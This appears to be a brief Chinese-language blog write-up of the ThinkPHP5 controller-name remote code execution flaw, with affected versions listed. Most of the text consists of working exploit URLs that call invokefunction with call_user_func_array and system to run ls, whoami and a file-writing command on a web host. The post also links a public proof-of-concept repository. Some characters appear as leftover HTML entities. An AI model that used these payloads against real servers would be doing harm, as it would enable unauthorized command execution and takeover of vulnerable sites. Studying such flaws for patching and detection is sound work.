摘要
由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell
漏洞描述:
由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell
影响范围&#xff1a;v5.x <5.1.31&#xff0c;<&#61; 5.0.23
漏洞详情&#xff1a;
本地搭建了一个ThinkPHP5 的环境
https://www.0dayhack.com/public/index.php?s&#61;/index//think/app/invokefunction&function&#61;call_user_func_array&vars[0]&#61;system&vars[1][]&#61;ls%20-l
看看权限
https://www.0dayhack.com/public/index.php?s&#61;/index//think/app/invokefunction&function&#61;call_user_func_array&vars[0]&#61;system&vars[1][]&#61;whoami
写个phpinfo
https://www.0dayhack.com/public/index.php?s&#61;/index//think/app/invokefunction&function&#61;call_user_func_array&vars[0]&#61;system&vars[1][]&#61;echo%20%27%27%20>%20info.php
查看一下
附上github上的一个poc利用
Dependencies:
pip install -r requirements.txt
给上地址:
https://github.com/heroanswer/thinkphp_rce_poc/
附上自己弄的 有点小鸡肋&#xff0c;就不用放出了
鸡肋ing